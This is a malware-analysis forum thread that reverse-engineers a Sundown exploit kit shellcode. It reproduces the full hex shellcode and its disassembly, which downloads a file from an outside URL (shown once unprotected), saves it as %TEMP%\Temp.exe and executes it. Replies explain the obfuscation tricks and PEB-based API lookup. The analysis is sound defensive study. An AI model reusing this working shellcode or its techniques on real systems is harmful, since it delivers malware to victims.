Malware Analysis Analyse of a shellcode (from @MBYX thread) - updated - main sub function explained

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Thanks to @MBYX for the shellcode :)

https://malwaretips.com/threads/a-look-at-sundown-exploit-kit.69871/

var _loc7_:String = "EB5031F6648B76308B760C8B761C8B6E088B368B5D3C8B5C1D7801EB8B4B1867E3EC8B7B2001EF8B7C8FFC01EF31C0990217C1CA04AE75F83B542404E0E475CE8B532401EA0FB7144A8B7B1C01EF032C97C3688E488B63E8A6FFFFFF66B86C6C50686F6E2E646875726C6D54FFD568832B76F6E88AFFFFFFE82D00000031DB535350E9CF010000585053FFD568E7C4CC69E86CFFFFFF504C4C4C4CFFD56877A6602AE85BFFFFFF50FFD564A1180000008B40308B40108B404883E802E9830000005EB90600000083C002668B1C08668B140E6639D375EB49E0F083C00831C983C10266833C080075F6EB665F57FC89C6F3A483C70289F85FE801000000C331C931D28A1C17881C084183C20280FB0075F149C604085C41C604085441C604086541C604086D41C604087041C604082E41C604086541C604087841C604086541C6040800C3E878FFFFFF54004D0050003D00E895FFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E7068700000009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090"

The string in the var _loc_7 :

=> It is the shellcode

=> can be disassembled (using the content)
=> often contains obfuscation parts to make it harder to be understood , when disassembled.
A quick Look here : between the numerous 000000... and 90909090...

"E82CFEFFFF687474703A2F2F6B6C682E79746C7A672E78797A2F652E70687"

In red :

h t t p : / / klh.ytlzg.xyz/e.php
upload_2017-3-28_17-43-41-png.144546


x00 => can be use to put the real part
x90 => nop : no operation.

All code disassembled :

Code:
.data:00000000 eb 50                            jmp    0x00000052
.data:00000002 31 f6                            xor    esi,esi
.data:00000004 64 8b 76 30                      mov    esi,DWORD PTR fs:[esi+0x30]
.data:00000008 8b 76 0c                         mov    esi,DWORD PTR [esi+0xc]
.data:0000000b 8b 76 1c                         mov    esi,DWORD PTR [esi+0x1c]
.data:0000000e 8b 6e 08                         mov    ebp,DWORD PTR [esi+0x8]
.data:00000011 8b 36                            mov    esi,DWORD PTR [esi]
.data:00000013 8b 5d 3c                         mov    ebx,DWORD PTR [ebp+0x3c]
.data:00000016 8b 5c 1d 78                      mov    ebx,DWORD PTR [ebp+ebx*1+0x78]
.data:0000001a 01 eb                            add    ebx,ebp
.data:0000001c 8b 4b 18                         mov    ecx,DWORD PTR [ebx+0x18]
.data:0000001f 67 e3 ec                         jcxz   0x0000000e
.data:00000022 8b 7b 20                         mov    edi,DWORD PTR [ebx+0x20]
.data:00000025 01 ef                            add    edi,ebp
.data:00000027 8b 7c 8f fc                      mov    edi,DWORD PTR [edi+ecx*4-0x4]
.data:0000002b 01 ef                            add    edi,ebp
.data:0000002d 31 c0                            xor    eax,eax
.data:0000002f 99                               cdq
.data:00000030 02 17                            add    dl,BYTE PTR [edi]
.data:00000032 c1 ca 04                         ror    edx,0x4
.data:00000035 ae                               scas   al,BYTE PTR es:[edi]
.data:00000036 75 f8                            jne    0x00000030
.data:00000038 3b 54 24 04                      cmp    edx,DWORD PTR [esp+0x4]
.data:0000003c e0 e4                            loopne 0x00000022
.data:0000003e 75 ce                            jne    0x0000000e
.data:00000040 8b 53 24                         mov    edx,DWORD PTR [ebx+0x24]
.data:00000043 01 ea                            add    edx,ebp
.data:00000045 0f b7 14 4a                      movzx  edx,WORD PTR [edx+ecx*2]
.data:00000049 8b 7b 1c                         mov    edi,DWORD PTR [ebx+0x1c]
.data:0000004c 01 ef                            add    edi,ebp
.data:0000004e 03 2c 97                         add    ebp,DWORD PTR [edi+edx*4]
.data:00000051 c3                               ret
.data:00000052 68 8e 48 8b 63                   push   0x638b488e
.data:00000057 e8 a6 ff ff ff                   call   0x00000002
.data:0000005c 66 b8 6c 6c                      mov    ax,0x6c6c
.data:00000060 50                               push   eax
.data:00000061 68 6f 6e 2e 64                   push   0x642e6e6f
.data:00000066 68 75 72 6c 6d                   push   0x6d6c7275
.data:0000006b 54                               push   esp
.data:0000006c ff d5                            call   ebp
.data:0000006e 68 83 2b 76 f6                   push   0xf6762b83
.data:00000073 e8 8a ff ff ff                   call   0x00000002
.data:00000078 e8 2d 00 00 00                   call   0x000000aa
.data:0000007d 31 db                            xor    ebx,ebx
.data:0000007f 53                               push   ebx
.data:00000080 53                               push   ebx
.data:00000081 50                               push   eax
.data:00000082 e9 cf 01 00 00                   jmp    0x00000256
.data:00000087 58                               pop    eax
.data:00000088 50                               push   eax
.data:00000089 53                               push   ebx
.data:0000008a ff d5                            call   ebp
.data:0000008c 68 e7 c4 cc 69                   push   0x69ccc4e7
.data:00000091 e8 6c ff ff ff                   call   0x00000002
.data:00000096 50                               push   eax
.data:00000097 4c                               dec    esp
.data:00000098 4c                               dec    esp
.data:00000099 4c                               dec    esp
.data:0000009a 4c                               dec    esp
.data:0000009b ff d5                            call   ebp
.data:0000009d 68 77 a6 60 2a                   push   0x2a60a677
.data:000000a2 e8 5b ff ff ff                   call   0x00000002
.data:000000a7 50                               push   eax
.data:000000a8 ff d5                            call   ebp
.data:000000aa 64 a1 18 00 00 00                mov    eax,fs:0x18
.data:000000b0 8b 40 30                         mov    eax,DWORD PTR [eax+0x30]
.data:000000b3 8b 40 10                         mov    eax,DWORD PTR [eax+0x10]
.data:000000b6 8b 40 48                         mov    eax,DWORD PTR [eax+0x48]
.data:000000b9 83 e8 02                         sub    eax,0x2
.data:000000bc e9 83 00 00 00                   jmp    0x00000144
.data:000000c1 5e                               pop    esi
.data:000000c2 b9 06 00 00 00                   mov    ecx,0x6
.data:000000c7 83 c0 02                         add    eax,0x2
.data:000000ca 66 8b 1c 08                      mov    bx,WORD PTR [eax+ecx*1]
.data:000000ce 66 8b 14 0e                      mov    dx,WORD PTR [esi+ecx*1]
.data:000000d2 66 39 d3                         cmp    bx,dx
.data:000000d5 75 eb                            jne    0x000000c2
.data:000000d7 49                               dec    ecx
.data:000000d8 e0 f0                            loopne 0x000000ca
.data:000000da 83 c0 08                         add    eax,0x8
.data:000000dd 31 c9                            xor    ecx,ecx
.data:000000df 83 c1 02                         add    ecx,0x2
.data:000000e2 66 83 3c 08 00                   cmp    WORD PTR [eax+ecx*1],0x0
.data:000000e7 75 f6                            jne    0x000000df
.data:000000e9 eb 66                            jmp    0x00000151
.data:000000eb 5f                               pop    edi
.data:000000ec 57                               push   edi
.data:000000ed fc                               cld
.data:000000ee 89 c6                            mov    esi,eax
.data:000000f0 f3 a4                            rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
.data:000000f2 83 c7 02                         add    edi,0x2
.data:000000f5 89 f8                            mov    eax,edi
.data:000000f7 5f                               pop    edi
.data:000000f8 e8 01 00 00 00                   call   0x000000fe
.data:000000fd c3                               ret
.data:000000fe 31 c9                            xor    ecx,ecx
.data:00000100 31 d2                            xor    edx,edx
.data:00000102 8a 1c 17                         mov    bl,BYTE PTR [edi+edx*1]
.data:00000105 88 1c 08                         mov    BYTE PTR [eax+ecx*1],bl
.data:00000108 41                               inc    ecx
.data:00000109 83 c2 02                         add    edx,0x2
.data:0000010c 80 fb 00                         cmp    bl,0x0
.data:0000010f 75 f1                            jne    0x00000102
.data:00000111 49                               dec    ecx
.data:00000112 c6 04 08 5c                      mov    BYTE PTR [eax+ecx*1],0x5c
.data:00000116 41                               inc    ecx
.data:00000117 c6 04 08 54                      mov    BYTE PTR [eax+ecx*1],0x54
.data:0000011b 41                               inc    ecx
.data:0000011c c6 04 08 65                      mov    BYTE PTR [eax+ecx*1],0x65
.data:00000120 41                               inc    ecx
.data:00000121 c6 04 08 6d                      mov    BYTE PTR [eax+ecx*1],0x6d
.data:00000125 41                               inc    ecx
.data:00000126 c6 04 08 70                      mov    BYTE PTR [eax+ecx*1],0x70
.data:0000012a 41                               inc    ecx
.data:0000012b c6 04 08 2e                      mov    BYTE PTR [eax+ecx*1],0x2e
.data:0000012f 41                               inc    ecx
.data:00000130 c6 04 08 65                      mov    BYTE PTR [eax+ecx*1],0x65
.data:00000134 41                               inc    ecx
.data:00000135 c6 04 08 78                      mov    BYTE PTR [eax+ecx*1],0x78
.data:00000139 41                               inc    ecx
.data:0000013a c6 04 08 65                      mov    BYTE PTR [eax+ecx*1],0x65
.data:0000013e 41                               inc    ecx
.data:0000013f c6 04 08 00                      mov    BYTE PTR [eax+ecx*1],0x0
.data:00000143 c3                               ret
.data:00000144 e8 78 ff ff ff                   call   0x000000c1
.data:00000149 54                               push   esp
.data:0000014a 00 4d 00                         add    BYTE PTR [ebp+0x0],cl
.data:0000014d 50                               push   eax
.data:0000014e 00 3d 00 e8 95 ff                add    BYTE PTR ds:0xff95e800,bh
.data:00000154 ff                               (bad)
.data:00000155 ff 00                            inc    DWORD PTR [eax]
.data:00000157 00 00                            add    BYTE PTR [eax],al
.data:00000159 00 00                            add    BYTE PTR [eax],al
.data:0000015b 00 00                            add    BYTE PTR [eax],al
.data:0000015d 00 00                            add    BYTE PTR [eax],al
.data:0000015f 00 00                            add    BYTE PTR [eax],al
.data:00000161 00 00                            add    BYTE PTR [eax],al
.data:00000163 00 00                            add    BYTE PTR [eax],al
.data:00000165 00 00                            add    BYTE PTR [eax],al
.data:00000167 00 00                            add    BYTE PTR [eax],al
.data:00000169 00 00                            add    BYTE PTR [eax],al
.data:0000016b 00 00                            add    BYTE PTR [eax],al
.data:0000016d 00 00                            add    BYTE PTR [eax],al
.data:0000016f 00 00                            add    BYTE PTR [eax],al
.data:00000171 00 00                            add    BYTE PTR [eax],al
.data:00000173 00 00                            add    BYTE PTR [eax],al
.data:00000175 00 00                            add    BYTE PTR [eax],al
.data:00000177 00 00                            add    BYTE PTR [eax],al
.data:00000179 00 00                            add    BYTE PTR [eax],al
.data:0000017b 00 00                            add    BYTE PTR [eax],al
.data:0000017d 00 00                            add    BYTE PTR [eax],al
.data:0000017f 00 00                            add    BYTE PTR [eax],al
.data:00000181 00 00                            add    BYTE PTR [eax],al
.data:00000183 00 00                            add    BYTE PTR [eax],al
.data:00000185 00 00                            add    BYTE PTR [eax],al
.data:00000187 00 00                            add    BYTE PTR [eax],al
.data:00000189 00 00                            add    BYTE PTR [eax],al
.data:0000018b 00 00                            add    BYTE PTR [eax],al
.data:0000018d 00 00                            add    BYTE PTR [eax],al
.data:0000018f 00 00                            add    BYTE PTR [eax],al
.data:00000191 00 00                            add    BYTE PTR [eax],al
.data:00000193 00 00                            add    BYTE PTR [eax],al
.data:00000195 00 00                            add    BYTE PTR [eax],al
.data:00000197 00 00                            add    BYTE PTR [eax],al
.data:00000199 00 00                            add    BYTE PTR [eax],al
.data:0000019b 00 00                            add    BYTE PTR [eax],al
.data:0000019d 00 00                            add    BYTE PTR [eax],al
.data:0000019f 00 00                            add    BYTE PTR [eax],al
.data:000001a1 00 00                            add    BYTE PTR [eax],al
.data:000001a3 00 00                            add    BYTE PTR [eax],al
.data:000001a5 00 00                            add    BYTE PTR [eax],al
.data:000001a7 00 00                            add    BYTE PTR [eax],al
.data:000001a9 00 00                            add    BYTE PTR [eax],al
.data:000001ab 00 00                            add    BYTE PTR [eax],al
.data:000001ad 00 00                            add    BYTE PTR [eax],al
.data:000001af 00 00                            add    BYTE PTR [eax],al
.data:000001b1 00 00                            add    BYTE PTR [eax],al
.data:000001b3 00 00                            add    BYTE PTR [eax],al
.data:000001b5 00 00                            add    BYTE PTR [eax],al
.data:000001b7 00 00                            add    BYTE PTR [eax],al
.data:000001b9 00 00                            add    BYTE PTR [eax],al
.data:000001bb 00 00                            add    BYTE PTR [eax],al
.data:000001bd 00 00                            add    BYTE PTR [eax],al
.data:000001bf 00 00                            add    BYTE PTR [eax],al
.data:000001c1 00 00                            add    BYTE PTR [eax],al
.data:000001c3 00 00                            add    BYTE PTR [eax],al
.data:000001c5 00 00                            add    BYTE PTR [eax],al
.data:000001c7 00 00                            add    BYTE PTR [eax],al
.data:000001c9 00 00                            add    BYTE PTR [eax],al
.data:000001cb 00 00                            add    BYTE PTR [eax],al
.data:000001cd 00 00                            add    BYTE PTR [eax],al
.data:000001cf 00 00                            add    BYTE PTR [eax],al
.data:000001d1 00 00                            add    BYTE PTR [eax],al
.data:000001d3 00 00                            add    BYTE PTR [eax],al
.data:000001d5 00 00                            add    BYTE PTR [eax],al
.data:000001d7 00 00                            add    BYTE PTR [eax],al
.data:000001d9 00 00                            add    BYTE PTR [eax],al
.data:000001db 00 00                            add    BYTE PTR [eax],al
.data:000001dd 00 00                            add    BYTE PTR [eax],al
.data:000001df 00 00                            add    BYTE PTR [eax],al
.data:000001e1 00 00                            add    BYTE PTR [eax],al
.data:000001e3 00 00                            add    BYTE PTR [eax],al
.data:000001e5 00 00                            add    BYTE PTR [eax],al
.data:000001e7 00 00                            add    BYTE PTR [eax],al
.data:000001e9 00 00                            add    BYTE PTR [eax],al
.data:000001eb 00 00                            add    BYTE PTR [eax],al
.data:000001ed 00 00                            add    BYTE PTR [eax],al
.data:000001ef 00 00                            add    BYTE PTR [eax],al
.data:000001f1 00 00                            add    BYTE PTR [eax],al
.data:000001f3 00 00                            add    BYTE PTR [eax],al
.data:000001f5 00 00                            add    BYTE PTR [eax],al
.data:000001f7 00 00                            add    BYTE PTR [eax],al
.data:000001f9 00 00                            add    BYTE PTR [eax],al
.data:000001fb 00 00                            add    BYTE PTR [eax],al
.data:000001fd 00 00                            add    BYTE PTR [eax],al
.data:000001ff 00 00                            add    BYTE PTR [eax],al
.data:00000201 00 00                            add    BYTE PTR [eax],al
.data:00000203 00 00                            add    BYTE PTR [eax],al
.data:00000205 00 00                            add    BYTE PTR [eax],al
.data:00000207 00 00                            add    BYTE PTR [eax],al
.data:00000209 00 00                            add    BYTE PTR [eax],al
.data:0000020b 00 00                            add    BYTE PTR [eax],al
.data:0000020d 00 00                            add    BYTE PTR [eax],al
.data:0000020f 00 00                            add    BYTE PTR [eax],al
.data:00000211 00 00                            add    BYTE PTR [eax],al
.data:00000213 00 00                            add    BYTE PTR [eax],al
.data:00000215 00 00                            add    BYTE PTR [eax],al
.data:00000217 00 00                            add    BYTE PTR [eax],al
.data:00000219 00 00                            add    BYTE PTR [eax],al
.data:0000021b 00 00                            add    BYTE PTR [eax],al
.data:0000021d 00 00                            add    BYTE PTR [eax],al
.data:0000021f 00 00                            add    BYTE PTR [eax],al
.data:00000221 00 00                            add    BYTE PTR [eax],al
.data:00000223 00 00                            add    BYTE PTR [eax],al
.data:00000225 00 00                            add    BYTE PTR [eax],al
.data:00000227 00 00                            add    BYTE PTR [eax],al
.data:00000229 00 00                            add    BYTE PTR [eax],al
.data:0000022b 00 00                            add    BYTE PTR [eax],al
.data:0000022d 00 00                            add    BYTE PTR [eax],al
.data:0000022f 00 00                            add    BYTE PTR [eax],al
.data:00000231 00 00                            add    BYTE PTR [eax],al
.data:00000233 00 00                            add    BYTE PTR [eax],al
.data:00000235 00 00                            add    BYTE PTR [eax],al
.data:00000237 00 00                            add    BYTE PTR [eax],al
.data:00000239 00 00                            add    BYTE PTR [eax],al
.data:0000023b 00 00                            add    BYTE PTR [eax],al
.data:0000023d 00 00                            add    BYTE PTR [eax],al
.data:0000023f 00 00                            add    BYTE PTR [eax],al
.data:00000241 00 00                            add    BYTE PTR [eax],al
.data:00000243 00 00                            add    BYTE PTR [eax],al
.data:00000245 00 00                            add    BYTE PTR [eax],al
.data:00000247 00 00                            add    BYTE PTR [eax],al
.data:00000249 00 00                            add    BYTE PTR [eax],al
.data:0000024b 00 00                            add    BYTE PTR [eax],al
.data:0000024d 00 00                            add    BYTE PTR [eax],al
.data:0000024f 00 00                            add    BYTE PTR [eax],al
.data:00000251 00 00                            add    BYTE PTR [eax],al
.data:00000253 00 00                            add    BYTE PTR [eax],al
.data:00000255 00 e8                            add    al,ch
.data:00000257 2c fe                            sub    al,0xfe
.data:00000259 ff                               (bad)
.data:0000025a ff 68 74                         jmp    FWORD PTR [eax+0x74]
.data:0000025d 74 70                            je     0x000002cf
.data:0000025f 3a 2f                            cmp    ch,BYTE PTR [edi]
.data:00000261 2f                               das
.data:00000262 6b 6c 68 2e 79                   imul   ebp,DWORD PTR [eax+ebp*2+0x2e],0x79
.data:00000267 74 6c                            je     0x000002d5
.data:00000269 7a 67                            jp     0x000002d2
.data:0000026b 2e 78 79                         cs js  0x000002e7
.data:0000026e 7a 2f                            jp     0x0000029f
.data:00000270 65 2e 70 68                      gs cs jo 0x000002dc
.data:00000274 70 00                            jo     0x00000276
.data:00000276 00 00                            add    BYTE PTR [eax],al

I will show some important parts :
warning : the followings parts have to be read several times forward, backward, because it is hard to follow due to the numerous calls, jump, etc :D:oops:

"Shellcode cannot be executed directly. In order to analyze what a shellcode attempts to do it must be loaded into another process. One common analysis technique is to write a small C program which holds the shellcode as a byte buffer, and then use a function pointer or use inline assembler to transfer execution to it. Another technique is to use an online tool, such as shellcode_2_exe, to embed the shellcode into a pre-made executable husk which can then be analyzed in a standard debugger" from wikipedia


If you have not got knowledge about assembly, this tuto can be helpfull to follow my explanations :


Important :

address01 call function => call a sub function : address02 is automatically saved on a stack in memory
address02 other instructions, or data (string, etc)

Most of the time, when the sub routine ends, it returns to the saved address (in the example, address02), to execute other codes.
But address02 can contain for example a string, and not codes that can be executed.
In this case, the return address02 will not be used to return.
This is a trick used several times on the code I analyze below.
=> used to retrieve the address of strings, or the address where to write data (that will be used to run the payload)
Another possibility : the return address contains obfuscated codes, and the sub function deobfuscate this part, and after : jump / return to it.
Let's go ! :

.data:00000000 jmp 0x00000052
.data:00000002 MAIN SUBFUNCTION => to get addresses of several functions
.data:00000051 ret

Will be called this way :

push value => linked to the function of a dll (obfuscation)
call MAIN SUBFUNCTION => to find the address of the function

when it returns, ebp register has the right address
=> I analyzed this function in a separated post on this current thread
.data:00000052 push 0x638b488e => used to find the function : LoadLibraryExA
.data:00000057 call 0x00000002 => will find LoadLibraryExA address => in ebp register
.data:0000005c mov ax,0x6c6c

Now the parameters to be used :

.data:00000060 push eax
.data:00000061 push 0x642e6e6f
.data:00000066 push 0x6d6c7275
.data:0000006b push esp => urlmon.dll

And now the call :

.data:0000006c call ebp => call LoadLibraryA from kernell32.dll (using address found above)

HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);

Another function search just after :

.data:0000006e push 0xf6762b83 => to get the address of URLDownloadToFileA (urlmon.dll)
.data:00000073 call 0x00000002 => will retrieve the address => ebp

HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);

.data:00000078 call 0x000000aa (look at the sub function)

Returns to .data:0000007d once %TEMP%\Temp.exe has been written (using a part of the shellcode that was with at lot of 0 => overwrite a shellcode part)

On my PC :

=> "C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
.data:0000007d xor ebx,ebx
.data:0000007f push ebx
.data:00000080 push ebx
.data:00000081 push eax
.data:00000082 jmp 0x00000256

=> notice that this location, 000256, doesn't appear, due to obfuscation / shift :
.data:00000255 00 e8 add al,ch
.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]

=> the code that must be disassembled : we must not take into account the 00
e8 2c fe ff ff => a call
68 74
, etc => url (see at the end)

.data:00000255 00 e8 add al,ch
=> right location : .data:00000256 => e8 2c fe ff ff
=> a call
=> the fake "return" address => the location of the url to be used (payload)

.data:00000257 2c fe sub al,0xfe
.data:00000259 ff (bad)
.data:0000025a ff 68 74 jmp FWORD PTR [eax+0x74]
.data:0000025d 74 70 je 0x000002cf
.data:0000025f 3a 2f cmp ch,BYTE PTR [edi]
.data:00000261 2f das
.data:00000262 6b 6c 68 2e 79 imul ebp,DWORD PTR [eax+ebp*2+0x2e],0x79
.data:00000267 74 6c je 0x000002d5
.data:00000269 7a 67 jp 0x000002d2
.data:0000026b 2e 78 79 cs js 0x000002e7
.data:0000026e 7a 2f jp 0x0000029f
.data:00000270 65 2e 70 68 gs cs jo 0x000002dc
.data:00000274 70 00 jo 0x00000276
.data:00000276 00 00 add BYTE PTR [eax],al

=> 68 74 74 70 .......... 68 70
=> no assembly code, but a url :

hXXp://klh.ytlzg.xyz/e.php
Part reached when all is ready :

.data:00000087 pop eax => url to be used
.data:00000088 push eax => url to be used, as parameter
.data:00000089 push ebx => 0

remarks : file name : 0040119A (I explain it later)

=> %TEMP%\Temp.exe

On my PC :

=> "C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
.data:0000008a call ebp

=> here : calls the URLDownloadToFileA
.data:0000008c push 0x69ccc4e7
.data:00000091call 0x00000002

=> get Wow64DisableWow64FsRedirection address
=> Disables file system redirection for the calling thread
.data:00000096 push eax
.data:00000097 dec esp
.data:00000098 dec esp
.data:00000099 dec esp
.data:0000009a dec esp
.data:0000009b call ebp

=> call Kernell32.WinExec

=> runs : C:\Users\DardiM\AppData\Local\Temp\Temp.exe"
.data:0000009d push 0x2a60a677
.data:000000a2 call 0x00000002

=> get NTDLL.RtlExitUserProcess address
.data:000000a7 push eax => 0
.data:000000a8 call ebp => calls NTDLL.RtlExitUserProcess

=> THE END !!!

The Sub function called (after URLDownloadToFileA has been retrieved, etc ...)
.data:000000aa mov eax,fs:0x18 => Linear address of Thread Environment Block (TEB)
.data:000000b0 mov eax,DWORD PTR [eax+0x30]
.data:000000b3 mov eax,DWORD PTR [eax+0x10]
.data:000000b6 mov eax,DWORD PTR [eax+0x48]

=> pointer to ALLUSERPROFILE=C:\ProgramData ............etc
.data:000000b9 sub eax,0x2

=> pointer 2 bytes before : 001A (on my PC) => number of environnement values : 1A => 20 in decimal
.data:000000bc jmp 0x00000144
.
data:000000c1 ANOTHER FUNCTION

=> at 0x00000144 :

.data:00000144 call 0x000000c1
.data:00000149 push esp
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00
e8 95 ff add BYTE PTR ds:0xff95e800,bh

Explanation :

.data:00000144 call 0x000000c1

=> the address of data after this call can now be retrieve by this subfunction
data after :

"TMP ="​
Then :

=> true location :

.data:00000151 => e8 95 ff ff ff

=> a call to .data:0000000eb
followed by :

.data:00000156 00
00
00
00
...
...
00

=> this is where some data will be written !!!
.data:000000c1
.data:000000c1 pop esi
.data:000000c2 mov ecx,0x6
.data:000000c7 add eax,0x2
.data:000000ca mov bx,WORD PTR [eax+ecx*1]
.data:000000ce mov dx,WORD PTR [esi+ecx*1]
.data:000000d2 cmp bx,dx
.data:000000d5 jne 0x000000c2
.data:000000d7 dec ecx
.data:000000d8 loopne 0x000000ca

=> "C:\Users\DardiM\AppData\Local\Temp" found in environment values
.data:000000da add eax,0x8
.data:000000dd xor ecx,ecx
.data:000000df add ecx,0x2
.data:000000e2 cmp WORD PTR [eax+ecx*1],0x0
.data:000000e7 jne 0x000000df

.data:000000e9 jmp 0x00000151

=> obfuscated / shifted
=> go to 0x00000151 : and there, a call to go below : a trick to use the return address where some value will be written (to replace 000.....0000000.00000)
.data:000000eb pop edi

=> retrieves the return address (pointer on a lot of 0000000000 - see in below parts)
.data:000000ec push edi => put again the adress on the stack
.data:000000ed cld => CLears the Direction flag (because of the rep below)
.data:000000ee mov esi,eax
.data:000000f0 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]

=> writes "C:\Users\DardiM\AppData\Local\Temp" on the part that we have seen have a lot of 000000 (begins at .data:00000156), in unicode (2 bytes by char)
.data:000000f2 add edi,0x2
.data:000000f5 mov eax,edi
.data:000000f7 pop edi
.data:000000f8 call 0x000000fe
.data:000000fd ret

.data:000000fe xor ecx,ecx
.data:00000100 xor edx,edx
.data:00000102 mov bl,BYTE PTR [edi+edx*1]
.data:00000105 mov BYTE PTR [eax+ecx*1],bl
.data:00000108 inc ecx
.data:00000109 add edx,0x2
.data:0000010c cmp bl,0x0
.data:0000010f 7 jne 0x00000102
.data:00000111 dec ecx

=> writes from UNICODE to ASCII "C:\Users\DardiM\AppData\Local\Temp"
(location => .data:0000019A)
.data:00000112 mov BYTE PTR [eax+ecx*1],0x5c => "\"
.data:00000116 inc ecx
.data:00000117 mov BYTE PTR [eax+ecx*1],0x54
=> "T"
.data:0000011b inc ecx
.data:0000011c mov BYTE PTR [eax+ecx*1],0x65
=> "e"
.data:00000120 inc ecx
.data:00000121 mov BYTE PTR [eax+ecx*1],0x6d
=> "m"
.data:00000125 inc ecx
.data:00000126 mov BYTE PTR [eax+ecx*1],0x70
=> "p"
.data:0000012a inc ecx
.data:0000012b mov BYTE PTR [eax+ecx*1],0x2e =>
"."
.data:0000012f inc ecx
.data:00000130 mov BYTE PTR [eax+ecx*1],0x65
=> "e"
.data:00000134 inc ecx
.data:00000135 mov BYTE PTR [eax+ecx*1],0x78
=> "x"
.data:00000139 inc ecx
.data:0000013a mov BYTE PTR [eax+ecx*1],0x65
=> "e"
.data:0000013e inc ecx
.data:0000013f mov BYTE PTR [eax+ecx*1],0x0 =>
end of string

=> writes the text : \Temp.exe
after "C:\Users\DardiM\AppData\Local\Temp" (the ASCII version)

.data:00000143 ret

.data:00000144 call 0x000000c1
.data:00000149 push esp
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00
e8 95 ff add BYTE PTR ds:0xff95e800,bh

We have seen previously that :

.data:00000144 call 0x000000c1

.data after :

"TMP ="
Then :

=> right location : .data:00000151 => e8 95 ff ff ff => a call to .data:0000000eb
.data:00000156 00
00
00
00

...
...
00
=> overwritten by :

"C:\Users\DardiM\AppData\Local\Temp" : each char coded in Unicode ( 2 bytes by char)
+ 00 00 00

and after :

from : .data:0000019A

"C:\Users\DardiM\AppData\Local\Temp\Temp.exe" : ASCII coded ( 1 byte by char)

Conclusion :
payload
from : hXXp://klh.ytlzg.xyz/e.php (XX = tt, I just protected the link)
to : %TEMP%\Temp.exe
using URLDownloadToFileA (urlmon.dll)

The Main sub function (0x00000002) explained in this post :

 
Last edited:

MBYX

Level 1
Verified
Jan 19, 2017
40
SO good :) ...
this was the part i was looking to understand ...
How to de-obfiscate and present something usable was where i could not figure out, thankyou.

1. this part ...
.data:00000002 31 f6 xor esi,esi
This bit interests me i assume XOR encryption what is the esi,esi part... ?

2. will shellcode2 present the data as per the first chart? if so keen to use that in future projects.

3. is the top of the script junk code ?

Thanks DardiM for showing this really good.
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
SO good :) ...
this was the part i was looking to understand ...
How to de-obfiscate and present something usable was where i could not figure out, thank you.

1. this part ...
.data:00000002 31 f6 xor esi,esi
This bit interests me i assume XOR encryption what is the esi,esi part... ?

2. will shellcode2 present the data as per the first chart? if so keen to use that in future projects.

3. is the top of the script junk code ?

Thanks DardiM for showing this really good.

  • .data:00000002 31 f6 xor esi,esi
=> .data:00000002 => address of the code (31)
=> 311f6 : language machine code
=> xor esi, esi : its representation in assembly language

xor esi,esi (or xor eax,eax, xor ecx,ecx, etc )

=> is a way to put 0 in a register (esi , here) : because a number XOR the same number gives 0

=> the code takes less place in memory and no need execution unit (not the case for mov esi,0 )
  • A shellcode is a part that need to be put in memory of a parent environment, because it needs some parts that are outside its own part
"An exploit will commonly inject a shellcode into the target process before or at the same time as it exploits a vulnerability to gain control over the program counter. The program counter is adjusted to point to the shellcode, after which it gets executed and performs its task. Injecting the shellcode is often done by storing the shellcode in data sent over the network to the vulnerable process, by supplying it in a file that is read by the vulnerable process or through the command line or environment in the case of local exploits."
wikipedia
=> the shellcode part in loc_7 can be disassembled, but can't be followed by a debugger because, it needs info from a target process.

To be able to analyse it like I have done => the shellcode has been changed to an executable file (because alone, it is not part of a process).

Then => I was able to use a debugger

- I copy-pasted the shellcode here : http://sandsprite.com/shellcode_2_exe.php
- I chose to get a standard .exe file.
- I used a debugger to open the exe file, and reached to the shellcode part, then follow it with breakpoints,etc, step by step (dynamical analysis available, now).​
  • "3. is the top of the script junk code ?"
I don't understand, are you talking about the script from the SWF file you have shown ?

The disassembled code I show is from the whole shellcode string, from the beginning, to the end, before I changed it into an exe.

That is why the addresses are :

.data:00000000
.data:00000002
etc,
But put into an .exe : it can then use real data it needs from a real process (like it does when the SWF file transforms it from String to real bytes) and then retrieve dll address, function, etc

In this case the address for each part changes :

x00401000
x00401002
etc,

and with a debugger we can make a dynamical analysis
=> the shellcode uses the process that run it to get, with tricks, all dll function addresses it needs
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Deep analysis of the MAIN sub function:

I said in previous post that this sub function was used to retrieve the address of some functions.
This post is to analysis it in details.

1) Technique :

Process Environment Block (PEB)

A shellcode can locate and load API's function after have find the address of PEB.
First find the address of loaded kernel32.dll module
then find in it the function LoadLibraryA

=> this way, other module / function can be loaded / found and be used
PEB is located within the virtual address space of the loaded process.

